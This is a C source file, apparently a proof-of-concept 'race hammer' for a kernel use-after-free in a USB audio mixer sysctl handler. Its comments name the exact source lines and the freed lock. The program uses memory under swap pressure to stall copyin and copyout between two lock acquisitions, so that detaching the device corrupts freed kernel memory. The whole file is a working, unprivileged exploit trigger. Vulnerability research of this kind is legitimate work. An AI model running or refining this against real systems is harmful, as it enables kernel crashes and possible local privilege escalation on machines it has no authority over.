DF-5253 / hammer3.c
/* * DF-5253 race hammer v3 - unprivileged. * * oldp/newp for the mixer sysctl read+write point into a large anonymous * mapping that is under swap pressure (see hog.c): by the time the cursor * returns to a page it has been paged out, so the in-kernel copyout/copyin * inside sysctl_handle_int() takes a swap major fault - blocking the thread * for milliseconds exactly between uaudio_mixer_sysctl_handler()'s first * lockmgr release (uaudio.c:2764) and its second lockmgr (uaudio.c:2772). * Detaching the USB audio device in that window frees sc_mixer_lock * (snd_mtxfree in mixer_uninit) and the second lockmgr + pmc->wData write * operate on freed memory. */ #include <sys/types.h> #include <sys/sysctl.h> #include <sys/mman.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> int main(int argc, char **argv) { const char *ctls[3] = { "dev.pcm.0.mixer.vol_0_0.val", "dev.pcm.0.mixer.vol_0_1.val", "dev.pcm.0.mixer.mute_1.val", }; size_t ps = 4096; size_t len = (argc > 1) ? ((size_t)atoi(argv[1]) << 20) : (384u << 20); char *map; char *oldp, *newp; size_t off = 0; uint64_t slow = 0; size_t ol, nl; unsigned long n = 0; int i; char path[128]; map = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0); if (map == MAP_FAILED) { perror("mmap"); return 1; } memset(map, 1, len); /* commit everything once */ snprintf(path, sizeof(path), "/tmp/hammerc3.%d.count", (int)getpid()); for (;;) { for (i = 0; i < 3; i++) { /* advance slowly: pages behind the cursor go idle * and get swapped out; the refault on the next lap * blocks the thread in-kernel inside the window */ if ((++slow & 63) == 0) { off += ps; if (off >= len - ps) off = 0; } oldp = map + off; newp = map + off + 16; ol = 4; nl = 4; sysctlbyname(ctls[i], oldp, &ol, newp, nl); } n++; if ((n & 0xFFFF) == 0) { FILE *f = fopen(path, "w"); if (f) { fprintf(f, "%lu\n", n); fclose(f); } } } } |